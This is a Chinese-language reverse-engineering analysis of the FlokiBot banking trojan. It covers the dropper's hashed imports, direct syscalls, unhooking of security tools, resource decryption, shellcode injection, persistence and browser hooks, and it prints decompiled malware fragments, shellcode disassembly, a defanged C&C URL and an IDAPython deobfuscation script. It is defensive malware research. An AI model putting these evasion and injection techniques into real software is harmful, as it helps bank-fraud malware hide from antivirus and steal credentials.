首页 > 代码库 > FlokiBot 银行木马详细分析

FlokiBot 银行木马详细分析

FlokiBot 是最近一款针对于欧洲和巴西联邦共和国的银行木马,作为一款恶意软件工具集,它在一些黑客论坛上被卖到$1000。它通过垃圾邮件和渗透代码工具包来传播。虽说它是继承于ZeuS(宙斯),FlokiBot 也做了很多有趣的改进。有诸如内存截取(RAM scraping),定制的 dropper 这样的新特性,还有似乎从泄露了源码的Carberp 那里借鉴了几行代码。

FlokiBot 与其 dropper 都有很多常用或不常用的混淆技术,我们将解开它们的神秘面纱,并着重讨论如何使用 IDA 和 IDAPython 脚本来静态脱壳。因为你们已经在最近很多恶意软件上接触过这些技术了,所以我觉得这是一次很好的锻炼。

在看完@hasherezade写的这篇关于 FlokiBot 的 dropper 文章:https://blog.malwarebytes.com/threat-analysis/2016/11/floki-bot-and-the-stealthy-dropper/. 之后,我决定看一下 FlokiBot。尽管大多数关于 FlokiBot 的文章都着重讲它的dropper,我还是想讲得更详细一些,然后再讲讲它的 payload;我们将会看到它有很多有有趣的特性,而且不是你平常所看到的 ZeuS 不一样,虽然它的很多代码是来自 ZeuS 和 Carberp leaks。还是比逆向勒索软件好。

Hash值:

$ rahash2 -a md5,sha1,sha256 -qq floki_dropper.vir 37768af89b093b96ab7671456de894bc 5ae4f380324ce93243504092592c7b275420a338 4bdd8bbdab3021d1d8cc23c388db83f1673bdab44288fccae932660eb11aec2a $ rahash2 -a md5,sha1,sha256 -qq floki_payload32.vir da4ea4e44ea3bb65e254b02b2cbc67e8 e8542a465810ff1396a316d1c46e96e042bf4189 9f1d2d251f693787dfc0ba8e64907e204f3cf2c7320f66007106caac0424a1f3

FlokiBot Dropper

导入:模块/API 哈希处理与系统调用(syscall)

dropper 通过比较经过哈希处理的库名与内置哈希值来加载模块。哈希进程用到了一个基础的 CRC32,之后这个 CRC32 还要跟两个字节的密钥异或,那两个密钥随样本的不同而不同。

有两种方法来检索动态链接库(dll)库名:一是用 Process Environment Block  来检查 InMemoryOrderModuleList 的结构并读取 BaseDllName 的值来获取进程已经加载的dll。第二种方法是,通过在 Windows 系统文件夹中罗列库名。

技术分享

下面的模块都被 dropper 导入了:

CRC Library Method ------------------------------------------------------ 84C06AAD ntdll.dll load_imports_peb 6AE6ABEF kernel32.dll load_imports_peb 2C2B3C88 948B9CAB C7F4511A wininet.dll load_imports_folder F734DCF8 ws2_32.dll load_imports_folder F16EE30D advapi32.dll load_imports_folder C8A18E35 shell32.dll load_imports_folder E20BF2CB shlwapi.dll load_imports_folder 1A50B19C secur32.dll load_imports_folder 630A1C77 crypt32.dll load_imports_folder 0248AE46 user32.dll load_imports_peb BD00960A 4FF44795 gdi32.dll load_imports_peb E069944C ole32.dll load_imports_folder CAAD3C25

之后,FlokiBot 将采取同样的操作来定位和加载这些模块用到的API.首先,当CRC后的名字是匹配的,那么它将检索 LdrGetProcedureAddress 在 ntdll 中的地址,并用它来获取其他 API 的句柄。这样做的话,函数的地址就仅对 debugger 可见。如此,分析代码将会非常困难,因我我们不知道调用了哪个 API。去混淆的一种方法将在下一章提到。

FlokiBot 与其 dropper 的另一有趣之处在于它们调用一些原生 API 函数的方式。这些函数位于 ntdll 中,并且以 Nt* 或者 Zw*为前缀。它们在实现的时候与其他 API 有些许不同,因为它们要用到 syscall 特别是 int 0x2e。下面的截图说明了它们是如何在 ntdll 中实现的。

技术分享

正如我们所看到,系统调用的值放在 eax(在我64位Windows 7上,NtAllocateVirtualMemory 是在0x15 ),而且参数被传到 edx。x86 和 64 位的所有系统调用号(syscall number)都可以在这张网页找到:http://j00ru.vexillium.org/ntapi/.  

在检查 ntdll 中的 API 时,FlokiBot 会先检查函数的第一个操作码是否为 0xB8 = MOV EAX, 若是,并且 CRC 后的 API 名也复合,它将提取 MOV EAX  后面的四个字节,也就是系统调用号,并将它保存在 dwSyscallArray 数组中。

技术分享

在我的虚拟机上,当所有的系统调用号都被 dropper 提取后,dwSyscallArray 长这样。

Index API Syscall number ------------------------------------------------------- 0x0 NtCreateSection 0x47 0x1 NtMapViewOfSection 0x25 0x2 NtAllocateVirtualMemory 0x15 0x3 NtWriteVirtualMemory 0x37 0x4 NtProtectVirtualMemory 0x4D 0x5 NtResumeThread 0x4F 0x6 NtOpenProcess 0x23 0x7 NtDuplicateObject 0x39 0x8 NtUnmapViewOfSection 0x27

当 FlokiBot 需要调用某个原生函数的时候,它将调用自身的一个函数,那个函数直接从 dwSyscallArray 中检索系统调用号,传参,触发中断 0x2E。这些都跟它在 ntdll 中的实现方式一样。这就是为什么你不会看到任何这些 API 调用的轨迹,而且专门用来钩住这些 API 的监测工具也监测不到有调用它们。

API 调用去混淆

既然 FlokiBot 的 payload 用到了相同的函数和数据结构,你可以用“IDAPython完全静态去混淆”模块,稍稍修改 IDAPython 脚本就可以将 dropper 的 API 调用去混淆。

解除挂钩模块

FlokiBot的一个有趣之处就在于它的 dropper 和 payload 都有解除挂钩操作。思路是卸载检测工具,沙箱和杀毒软件中的钩子。尽管这并不是恶意软件第一次使用这样的功能,比如说,Carberp 就有一个能 不让Trusteer的Rapport发现  的功能,还有最近的 Carbanak ,但这样的功能能真的非常罕见,应该值得注意。在这一部分,我将描述 FlokiBot 是如何解除挂钩的。

首先,FlokiBot 通过罗列 System32 文件夹中的 dll 来获得 ntdll.dll 的句柄,然后用我们上面所提到的哈希处理过程,最后调用 MapViewOfFile 来映射它在内存中的位置。结果就是,FlokiBot 有两个库在内存中映射的版本:一个是在导入期间导入的,这个可能会被监测工具的钩子改变,另一个是它直接从磁盘中映射的,这个是干净的。

技术分享

NTDLL在磁盘中的映射——干净版本

技术分享

由dropper导入的NTDLL——可能被钩住

现在,设置了正确的权限,FlokiBot 把映射干净 DLL 代码块的地址、导入的 dll 的地址入栈,然后调用解除挂钩操作。

技术分享

因为它要重写它的内存里的一些数据以删除钩子,恶意软件需要改变导入的 NTDLL 代码导出段的内存保护机制。而它是通过用 int 0x2E 和之前提取的系统调用号(在我的 windows 版本是 0x4D)调用 NtProtectVirtualMemory 来做到的。我们可以看到如果某个钩子被发现,某一部分的代码就会变得可写。

技术分享

解除挂钩函数可以描述为三步:对于 NTDLL 导出的每一个函数……

  • 比较两个映射库的第一个操作码

  • 如果它们不一致,说明导入的 ntdll 里的函数已经被钩住了。

  • 改变导入的dll的内存保护机制,让它变成可写。

  • 用从被映射到磁盘的 dll 复制来的操作码修补这个操作码。

解除挂钩操作的主要程序如下:

技术分享

这样以来,很多监测工具、杀毒软件和沙箱都无法追踪恶意软件的调用。这个非常有用,如果你想要避免来自像 malwr.com. 这些网上沙箱的自动分析。

从资源中提取 Bot

它的 dropper 有 3 个明确命名的资源: key, bot32 和 bot64 。Bot 被 RtlCompressBuffer()  和 LZNT1 压缩,然后用有 16 字节密钥的 RC4 加密它。在我的样本里,密钥是:

A3 40 75 AD 2E C4 30 23 82 95 4C 89 A4 A7 84 00

你可以从 Talos 团队的 Github: https://github.com/vrtadmin/flokibot. 中找到可以备份这个 payload 和配置文件的 Python 脚本。要注意的是,它们并不能自己正确运行,因为它们要注入一个进程,还需要一些被 dropper 在内存中改写的数据。我们会在下一部分详谈注入进程。

提取资源的常用方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
BOOL __userpurge extract_bot_from_rsrc@(int a1@, HMODULE hModule)
{
  HRSRC v2; // eax@1
  int v3; // eax@2
  const void *v4; // esi@5
  HRSRC v5; // eax@7
  int v6; // eax@8
  HRSRC v7; // eax@10
  unsigned int v8; // eax@11
  int v10; // [sp+4h] [bp-4h]@1
  v10 = 0;
  v2 = FindResourceW(hModule, L"key", (LPCWSTR)0xA);
  if ( v2 )
    v3 = extract_rsrc(hModule, (int)&v10, v2);
  else
    v3 = 0;
  if ( v3 )
  {
    v4 = (const void *)v10;
    if ( v10 )
    {
      qmemcpy((void *)(a1 + 84), (const void *)v10, 0x10u);
      free_heap(v4);
    }
  }
  v5 = FindResourceW(hModule, L"bot32", (LPCWSTR)0xA);
  if ( v5 )
    v6 = extract_rsrc(hModule, a1 + 4, v5);
  else
    v6 = 0;
  *(_DWORD *)(a1 + 12) = v6;
  v7 = FindResourceW(hModule, L"bot64", (LPCWSTR)0xA);
  if ( v7 )
    v8 = extract_rsrc(hModule, a1 + 8, v7);
  else
    v8 = 0;
  *(_DWORD *)(a1 + 16) = v8;
  return *(_DWORD *)(a1 + 4) && *(_DWORD *)(a1 + 12) > 0u && *(_DWORD *)(a1 + 8) && v8 > 0;
}

 

注入过程

dropper 并不是用常用的用 NtMapViewOfSection 和 NtWriteVirtualMemory 来将 payload 注入到 explorer.exe (或者svchost.exe,如果失败的话) 。它是用写并运行一个可以在进程内存中解密解压 payload 的 shellcode 来完成的。这很不常见,很有趣。dropping 的过程可以用下面的图片来总结:

  1. 技术分享

  2. dropper 在 explorer.exe / svchost.exe 里写一个 trampoline shellcode 和它自己的一个函数。

  3. 当运行时,trampoline 就会调用那个函数。

  4. 函数自动运行,并且动态解决导入、读取 dropper 的资源,并将它们提取到自己的进程内存中。(比如,在 explorer.exe / svchost.exe 的地址空间里)

  5. 最后,dropper 在目标进程中运行 bot payload 的入口点(entrypoint)。

第一个写在 explorer.exe 的shellcode(称为 trampoline )会休眠100ms,然后调用一个函数,那个函数 dropper 在进程内存中映射在 0x80000000 ,在该 dropper 中默认称为 sub_405E18 。这第二个阶段是要提取 bot payload,解密并解压它们。所有这些都发生在 explorer.exe / svchost.exe  内存中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ rasm2 -a x86 -b 32 -D ‘558BEC51C745FCFF10B4766864000000FF55FCC745FC000008006800000900FF55FC83C4048BE55DC3‘
0x00000000   1                       55  push ebp
0x00000001   2                     8bec  mov ebp, esp
0x00000003   1                       51  push ecx
0x00000004   7           c745fcff10b476  mov dword [ebp - 4], 0x76b410ff ; address of sleep()
0x0000000b   5               6864000000  push 0x64
0x00000010   3                   ff55fc  call dword [ebp - 4] ; sleep()
0x00000013   7           c745fc00000800  mov dword [ebp - 4], 0x80000
0x0000001a   5               6800000900  push 0x90000
0x0000001f   3                   ff55fc  call dword [ebp - 4] ; sub_405E18, 2nd stage 
0x00000022   3                   83c404  add esp, 4
0x00000025   2                     8be5  mov esp, ebp
0x00000027   1                       5d  pop ebp
0x00000028   1                       c3  ret

 

 

sub_405E18 将通过与 dropper 和 payload 相同的进程来导入它需要的资源,用有些许不用的 crc32 和新的异或密钥。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
int __stdcall sub_405E18(int a1)
{
  [...]
  if ( a1 && *(_DWORD *)(a1 + 4) && *(_DWORD *)a1 != -1 )
  {
    v1 = 0;
    v34 = 0i64;
    v35 = 0i64;
    v36 = 0i64;
    do  /* CRC Polynoms */
    {
      v2 = v1 >> 1;
      if ( v1 & 1 )
        v2 ^= 0xEDB88320;
      if ( v2 & 1 )
        v3 = (v2 >> 1) ^ 0xEDB88320;
      else
        v3 = v2 >> 1;
      [...]
      if ( v8 & 1 )
        v9 = (v8 >> 1) ^ 0xEDB88320;
      else
        v9 = v8 >> 1;
      v40[v1++] = v9;
    }
    while ( v1 < 0x100 );
    v10 = shellcode_imp_dll((int)v40, 0x6AE6AF84);
    v11 = shellcode_imp_dll((int)v40, 0x84C06EC6);
    v30 = v12;
    v13 = v11;
    LODWORD(v34) = shellcode_imp_api(v10, (int)v40, 0x9CE3DCC);
    DWORD1(v34) = shellcode_imp_api(v10, (int)v40, 0xDF2761CD);
    DWORD2(v34) = shellcode_imp_api(v10, (int)v40, 0xF7C79EC4);
    LODWORD(v35) = shellcode_imp_api(v10, (int)v40, 0xCD53C55B);
    DWORD1(v36) = shellcode_imp_api(v10, (int)v40, 0xC97C2F79);
    LODWORD(v36) = shellcode_imp_api(v10, (int)v40, 0x3FC18D0B);
    DWORD2(v36) = shellcode_imp_api(v13, (int)v40, 0xD09F7D6);
    DWORD1(v35) = shellcode_imp_api(v13, (int)v40, 0x9EEE7B06);
    DWORD2(v35) = shellcode_imp_api(v13, (int)v40, 0xA4160E3A);
    DWORD3(v35) = shellcode_imp_api(v13, (int)v40, 0x90480F70);
    DWORD3(v36) = shellcode_imp_api(v13, (int)v40, 0x52FE165E);
    v14 = ((int (__stdcall *)(_DWORD, _DWORD, signed intsigned int))v34)(0, *(_DWORD *)(a1 + 8), 0x3000, 64);
      
    [...]
}

 

前两个哈希值,0x6AE6AF84 和 0x84C06EC6 应该是 ‘kernel32.dll‘和‘ntdll.dll‘ 的。我用 Python 来实现哈希过程,证实导入的那两个 DLL 确实是 kernel32 和 ntdll,然后我修改我的 Python 程序去解析它的导出表,想要知道函数导入的 API 的名字。我运行程序得到下面的 API。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Python>run
[+] kernel32.dll (6AE6AF84) : Parsing...
0x09CE3DCC --> VirtualAlloc
0xDF2761CD --> OpenProcess
0xF7C79EC4 --> ReadProcessMemory
0xCD53C55B --> VirtualFree
0xC97C2F79 --> GetProcAddress
0x3FC18D0B --> LoadLibraryA
[+] ntdll.dll (84C06EC6) : Parsing...
0x0D09F7D6 --> NtClose
0x9EEE7B06 --> NtCreateSection
0xA4160E3A --> NtMapViewOfSection
0x90480F70 --> NtUnmapViewOfSection
0x52FE165E --> RtlDecompressBuffer

 

用这些函数,进程中的代码将可以读取 dropper 的资源(bot和RC4密钥)并且映射 payload 在内存中的位置。最后,远处终止的线程内容将会被修改,这样它的 EIP 将指向第一个 shellcode,该线程继续。

技术分享

流程图

技术分享

 

FlokiBot Payload

这个 payload 是基于熟知并已经分析过的 ZeuS 木马,所以我不会每件事都详细描述。至于 dropper,我会更着重讲去混淆部分以及 FlokiBot 改进部分的实现。

配置

我运行 Talos 团队发布的  ConfigDump.py 程序,然后得到下面的C&C :  

1
2
3
$ python ConfigDump.py payload_32.vir 
Successfully dumped config.bin.
URL: https://extensivee[.]bid/000L7bo11Nq36ou9cfjfb0rDZ17E7ULo_4agents/gate[.]php

 

 

? 用 IDAPython 完全静态去混淆

鉴别函数

首先,我们注意到 dropper 重用了一些 payload 的重要函数。创造该 dropper 的一个 Rizzo 签名并在 payload 中加载它能够 IDA 让识别并重命名少部分函数。

技术分享

API 调用和钩子的静态去混淆

思路是用 Python 重新实现哈希过程,哈希所有被 FlokiBot 加载的所有 API,然后将他们和我们用代码收集到的哈希值进行比较。如果匹配,我们就用 IDAPython 重命名该函数,使得反汇编更具可读性。因为 payload 用的是同样的 CRC 函数和同样的异或密钥,所以这个脚本对它们都管用。

→ 字符串去混淆

跟 ZeuS 和 Fobber(Tinaba 的进化版)一样,很多字符串都用它们自己的一字节的密钥异或加密了。恶意软件将所有的 ENCRYPTED_STRING 存储在一个数组中,并将在传输过程中通过下标去混淆。加密过的字符串将以下面的数据结构展现:

1
2
3
4
5
typedef struct {
  char xor_key;
  WORD size;
  void* strEncrypted;
} ENCRYPTED_STRING;

 

首先,为弄明白如何没有错误的检索出它们,我会运行一段代码罗列 decrypt_string  的参数是如何入栈的。

运行完我们的脚本后,这里有一个在 IDA 中反汇编后的样本:

技术分享

→ 完整的 IDAPython 脚本

这是我用来去混淆该 payload 的完整的 Python 脚本:https://gist.github.com/adelmas/8c864315648a21ddabbd6bc7e0b64119.  

它基于 IDAPython 和 PeFile。它专为静态分析设计,你不用开启任何 debugger 来让这段程序工作。它将完成以下的工作:

  • 明确bot引入的所有函数并以[API name]_wrap 的格式重命名它们。

  • 解析WINAPIHOOK 结构并以hook_[API name] 的格式重命名钩子函数。

  • 解密字符串并将解密后的值放在解密字符串函数调用处的注释中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
# coding: utf-8
# ====================================================== #
#                                                        #
#      FLOKIBOT BOT32 DEOBFUSCATION IDA SCRIPT           #
#                                                        #
#       http://adelmas.com/blog/flokibot.php             #
#                                                        #
# ====================================================== #
# IDAPython script to deobfuscate statically the bot32 payload of the banking malware FlokiBot. 
# Imports are fully resolved, hooks are identified and named and strings are decrypted and added in comments, without using any debugger. 
# May take a few minutes to resolve imports. 
# Works with FlokiBot dropper with some small changes.
import sys
# sys.path.append("/usr/local/lib/python2.7/dist-packages")
# idaapi.enable_extlang_python(True)
import pefile
# RunPlugin("python", 3)
CRC_POLY   = 0xEDB88320   # Depending on sample
XOR_KEY    = 0x34ED  # Depending on sample
ARRAY_ADDR  = 0x41B350    # Depending on sample
ARRAY_ITER     = 12      # Size of a triplet (3*sizeof(DWORD))
i = 0
# ----------------------------------------------------
# Generating CRC polynoms
# ----------------------------------------------------
poly = []
while i < 256:
    size = 8
    b = i
    while size != 0:
        if b & 1:
            b = (b >> 1) ^ CRC_POLY
        else:
            b >>= 1
        size -= 1
    poly.insert(i, b)
    i += 1
# ----------------------------------------------------
# FlokiBot CRC32
# ----------------------------------------------------
def crc32(name):
    name_len = len(name)
    i = 0
    crc = 0xFFFFFFFF
    while i < name_len:
        crc = poly[(crc ^ ord(name[i])) & 0xFF] ^ (crc >> 8)
        i += 1
    crc = (~crc) & 0xFFFFFFFF
    return crc
# ----------------------------------------------------
# DEOBFUSCATING API CALLS
# ----------------------------------------------------
array_dll = [‘ntdll‘‘kernel32‘‘wininet‘‘ws2_32‘‘advapi32‘‘secur32‘‘crypt32‘
            ‘shlwapi‘‘ole32‘‘gdi32‘‘shell32‘‘user32‘‘urlmon‘ #, ‘nss3‘‘nspr4‘‘chrome‘
            ]
dll_hash = {}
for dll in array_dll:
    h = crc32(dll + ‘.dll‘) ^ XOR_KEY
   dll_hash[h] = dll
    print "[+] %s.dll (%X) : Parsing..." % (dll, h)
    pe = pefile.PE("C:\\Windows\\System32\\" + dll + ".dll")
    api_hash = {}
    pe.parse_data_directories()
    for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:
        if exp.name:
            api_crc = crc32(exp.name) ^ XOR_KEY
            api_hash[api_crc] = exp.name
    nb = 0
    for i in range(0, 287):
        ea_name = (ARRAY_ADDR + i*ARRAY_ITER)
        ea_func = Dword(ea_name)
        ea_crc = ea_name + 4
        MakeDword(ea_crc)
        crc = Dword(ea_crc)
        if crc in api_hash:
            if MakeName(ea_func, api_hash[crc]+"_wrap"                nb += 1
    print "[+] %s : Resolved %d API names" % (dll, nb)
# ----------------------------------------------------
# PARSING HOOK STRUCT
# ----------------------------------------------------
sid = AddStruc(-1, ‘HOOKWINAPI‘)
AddStrucMember(sid, ‘functionForHook‘, 0, FF_DWRD|FF_DATA, -1, 4)
AddStrucMember(sid, ‘hookerFunction‘, 4, FF_DWRD|FF_DATA, -1, 4)
AddStrucMember(sid, ‘originalFunction‘, 8, FF_DWRD|FF_DATA, -1, 4)
AddStrucMember(sid, ‘originalFunctionSize‘, 12, FF_DWRD|FF_DATA, -1, 4)
AddStrucMember(sid, ‘dllHash‘, 16, FF_DWRD|FF_DATA, -1, 4)
AddStrucMember(sid, ‘apiHash‘, 20, FF_DWRD|FF_DATA, -1, 4)
HOOKWINAPI_EA = 0x41B000
HOOKWINAPI_SIZE = 0x18
ea = HOOKWINAPI_EA
MakeName(HOOKWINAPI_EA, "hookWinApi_array")
print "Parsing hook table @ 0x%X" % HOOKWINAPI_EA
for i in range(0, 25):
    for field in range(0, 6):
        MakeDword(ea+4*field)
    fn_name = Name(Dword(ea))
    hook_ea = Dword(ea+4)
    MakeName(hook_ea, "hook_" + fn_name)
    hook_name = Name(Dword(ea+4))
    ori_ea = ea+8
    MakeName(ori_ea, "ori_" + fn_name)
    print "[+] Hook on %s \t--> %s" % (fn_name, hook_name)
    ea += HOOKWINAPI_SIZE
# ----------------------------------------------------
# STRING DEOBFUSCATION
# ----------------------------------------------------
DECRYPT_FN_EA = 0x403948          # Depending on sample
ENCRYPTED_STRINGS_EA = 0x402278      # Depending on sample
DECRYPT_FN = "decrypt_string"
ENCRYPTED_STRINGS = "encrypted_strings"
ARRAY_SIZE = 0x77                # Depending on sample
decrypted_strings = {}
def backwardSearch(ea, instr):
    while True:
        ea = PrevHead(ea)
        if GetMnem(ea) == instr:
            return ea
def decrypt_string(index, ea_encrypted):
    string = ""
    if index == -1:
        string = "Invalid index"
        return string
    encr_array = LocByName(ea_encrypted)
    if encr_array == 0xFFFFFFFF:
        string = "Invalid array for encrypted strings"
        return string
    ea_item = encr_array + index*2*4
    xor_k = Byte(ea_item)
    size = Word(ea_item+2)
    ptr_string = Dword(ea_item + 4)
    MakeByte(ptr_string)
    MakeArray(ptr_string, size)
    #print "[%d] %X %X %X" % (index, xor_k, size, ptr_string)
    i = 0
    if size <= 0:
        string = "Size <= 0"
        return string
    while i < size:
        ichr = i
        string += str(unichr((i ^ xor_k ^ Byte(ptr_string + i)) & 0xFF))
        i += 1
    MakeComm(ptr_string, string) # Add comments with decrypted strings in the array
    return string
# ----------------------------------------------------
# Decrypting and commenting whole array
# ----------------------------------------------------
MakeName(DECRYPT_FN_EA, DECRYPT_FN) 
MakeName(ENCRYPTED_STRINGS_EA, ENCRYPTED_STRINGS)
i = 0
loc = LocByName(DECRYPT_FN)
for ea in range(loc, loc+ARRAY_SIZE):
    decrypted_strings[i] = decrypt_string(i, ENCRYPTED_STRINGS)
    i += 1
print "[+] Decrypted %d strings :" % (i)
print decrypted_strings
# ----------------------------------------------------
# Commenting calls to decryption function with decrypted strings
# ----------------------------------------------------
i = 0
for xref in XrefsTo(LocByName(DECRYPT_FN)):
    ea = xref.frm
    mnem = GetMnem(PrevHead(ea))
    index = 0
    if mnem == "xor":
        index = 0
    elif mnem == "pop":
        ea = backwardSearch(ea, "push")
        index = GetOperandValue(ea, 0)
    elif mnem == "inc":
        index = 1
    elif mnem == "mov":
        index = GetOperandValue(ea, 1)
    #print "Index : 0x%X" % (index)
    if index in decrypted_strings:
        MakeComm(xref.frm, decrypted_strings[index])
        i += 1
print "[+] Commented %d strings with decrypted values" % (i)
print "[+] Script is done."

 

 

→ 持久性

bot 用一个伪随机名字把自己复制到 C:\Documents and Settings\[username]\Application Data 并通过在 Windows 的启动文件夹创建一个 .lnk 来获得持久性。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int startup_lnk() {
  int v0; // edi@1
  _WORD *v1; // ecx@1
  int v2; // eax@2
  _WORD *v3; // ecx@2
  const void *v4; // eax@2
  const void *v5; // esi@3
  int strStartupFolder; // [sp+8h] [bp-20Ch]@1
  int v8; // [sp+210h] [bp-4h]@6
  v0 = 0;
  SHGetFolderPathW_wrap(0, 7, 0, 0, &strStartupFolder); // 7 = CSIDL_STARTUP
  v1 = (_WORD *)PathFindFileNameW_wrap(&pFilename);
  if ( v1 && (v2 = cstm_strlen(v1), sub_40FECB(v2 - 4, v3), v4) )
    v5 = v4;
  else
    v5 = 0;
  if ( v5 ) {
    v8 = 0;
    if ( build_lnk((int)&v8, (const char *)L"%s\\%s.lnk", &strStartupFolder, v5) > 0 )
      v0 = v8;
    cstm_FreeHeap(v5);
  }
  return v0;
}

 

 

? 挂钩API

 

→ 概述

基于ZeuS,FlokiBot 用了同一种但又有些许不同的结构数组来存储它的钩子:

1
2
3
4
5
6
7
8
9
typedef struct
{
  void *functionForHook;
  void *hookerFunction;
  void *originalFunction;
  DWORD originalFunctionSize;
  DWORD dllHash;
  DWORD apiHash;
} HOOKWINAPI;

 

在我们运行完前面用来去混淆 API 调用的脚本,以及定位好钩子结构数组之后,我们就可以很轻易的用其他的 IDA 脚本来解析它,以确定和命名钩子函数(hook_* )。我们最后得到下面的表格:

Parsing hook table @ 0x41B000... Original Function Hooked          Hooker Function                         DLL Hash              API Hash ------------------------------------------------------------------------------------------------------------- NtProtectVirtualMemory_wrap       hook_NtProtectVirtualMemory_wrap        84C06AAD (ntdll)                    5C2D2E7A NtResumeThread_wrap               hook_NtResumeThread_wrap                84C06AAD (ntdll)            6273819F LdrLoadDll_wrap                   hook_LdrLoadDll_wrap                    84C06AAD (ntdll)        18364D1F NtQueryVirtualMemory_wrap         hook_NtQueryVirtualMemory_wrap          84C06AAD (ntdll)                  03F6C761 NtFreeVirtualMemory_wrap          hook_NtFreeVirtualMemory_wrap           84C06AAD (ntdll)                 E9D6FAB3 NtAllocateVirtualMemory_wrap      hook_NtAllocateVirtualMemory_wrap       84C06AAD (ntdll)                     E0761B06 HttpSendRequestW_wrap             hook_HttpSendRequestW_wrap              C7F4511A (wininet)             0BD4304A HttpSendRequestA_wrap             hook_HttpSendRequestA_wrap              C7F4511A (wininet)             FF00851B HttpSendRequestExW_wrap           hook_HttpSendRequestExW_wrap            C7F4511A (wininet)               AAB98346 HttpSendRequestExA_wrap           hook_HttpSendRequestExA_wrap            C7F4511A (wininet)               5E6D3617 InternetCloseHandle_wrap          hook_InternetCloseHandle_wrap           C7F4511A (wininet)                E51929C9 InternetReadFile_wrap             hook_InternetReadFile_wrap              C7F4511A (wininet)             6CC0AC18 InternetReadFileExA_wrap          hook_InternetReadFileExA_wrap           C7F4511A (wininet)               FEDE53D9 InternetQueryDataAvailable_wrap   hook_InternetQueryDataAvailable_wrap    C7F4511A (wininet)                      1AF94509 HttpQueryInfoA_wrap               hook_HttpQueryInfoA_wrap                C7F4511A (wininet)          02B5094B closesocket_wrap                  hook_closesocket_wrap                   F734DCF8 (ws2_32)        A5C6E39A send_wrap                         hook_send_wrap               F734DCF8 (ws2_32)                   A7730E20 WSASend_wrap                      hook_WSASend_wrap                 F734DCF8 (ws2_32)             B2927DE5 TranslateMessage_wrap             hook_TranslateMessage_wrap              0248AE46 (user32)             5DD9FAF9 GetClipboardData_wrap             hook_GetClipboardData_wrap              0248AE46 (user32)             1DCBE5AA PFXImportCertStore_wrap           hook_PFXImportCertStore_wrap            1A50B19C (secur32)              E0991FE4 PR_OpenTCPSocket_wrap             hook_PR_OpenTCPSocket_wrap              948B9CAB (nss3)              3B8AA62A PR_Close_wrap                     hook_PR_Close_wrap                      948B9CAB (nss3)      6D740323 PR_Read_wrap                      hook_PR_Read_wrap                       948B9CAB (nss3)      5C9DC287 PR_Write_wrap                     hook_PR_Write_wrap                      948B9CAB (nss3)      031EF8B8 

它们中的大多数都有安装在 ZeuS 和其他银行恶意软件中。尽管如此,我们还是能够注意到 NtFreeVirtualMemory 和 NtProtectVirtualMemory 的一些有趣的、新的钩子。我们将在下一部分看到它们的用途。

 

→ 浏览器中间人(Man-in-the-Browser)

Floki 通过把自己注入到 Firefox 和 Chrome 进程中并拦截 LdrLoadDll 来实现浏览器中间人攻击。如果浏览器加载的 DLL 的哈希值和 nss3.dll, nspr4.dll 或 chrome.dll 任一个的哈希值匹配,API 钩子就会自动安装,让恶意软件可以实现表单抓取和网站注入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int __stdcall hook_LdrLoadDll_wrap(int PathToFile, int Flags, int ModuleFileName, int *ModuleHandle)
{
  int result; // eax@2
  int filename_len; // eax@8
  int dll_hash; // eax@8
[...]
  if ( cstm_WaitForSingleObject() ) {
    v5 = LdrGetDllHandle_wrap(PathToFile, 0, ModuleFileName, ModuleHandle);
    v6 = LdrLoadDll_wrap(PathToFile, Flags, ModuleFileName, ModuleHandle);
    v12 = v6;
    if ( v5 < 0 && v6 >= 0 && ModuleHandle && *ModuleHandle && ModuleFileName )
    {
      RtlEnterCriticalSection_wrap(&unk_41D9F4);
      filename_len = cstm_strlen(*(_WORD **)(ModuleFileName + 4));
      dll_hash = hash_filename(filename_len, v8);
      if ( !(dword_41DA0C & 1) ) {
        if ( dll_hash == 0x2C2B3C88 || dll_hash == 0x948B9CAB ) { // hash nss3.dll & nspr4.dll
          sub_416DBD(*ModuleHandle, dll_hash);
          if ( dword_41DC2C )
            v11 = setNspr4Hooks(v10, dword_41DC2C);
        }
        else if ( dll_hash == 0xCAAD3C25 ) {     // hash chrome.dll
          if ( byte_41B2CC ) {
            if ( setChromeHooks() )
              dword_41DA0C |= 2u;
          }
[...]
  }
  else
  {
    result = LdrLoadDll_wrap(PathToFile, Flags, ModuleFileName, ModuleHandle);
  }
  return result;
}

 

 

 

→ 证书窃取

通过挂钩 PFXImportCertStore ,FlokiBot 可以窃取数字证书。此法 Zeus 和 Carberp 也有用到。

 

→ 保护钩子

FlokiBot 通过放置一个钩子和过滤 NtProtectVirtualMemory 调用来保护它的钩子,以防止它们被累死杀毒软件复位到原函数中。无论何时,当一个程序想要改变Floki已经注入的进程的内存保护机制的时候,Floki会阻断该调用并返回STATUS_ACCESS_DENIED.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned int __stdcall hook_NtProtectVirtualMemory_wrap(void *ProcessHandle, int *BaseAddress, int NumberOfBytesToProtect, int NewAccessProtection, int OldAccessProtection)
{
  int retBaseAddress; // [sp+18h] [bp+Ch]@7
[...]
  v11 = 0;
  v5 = BaseAddress;
  if ( cstm_WaitForSingleObject() && BaseAddress && ProcessHandle == GetCurrentProcess() )
  {
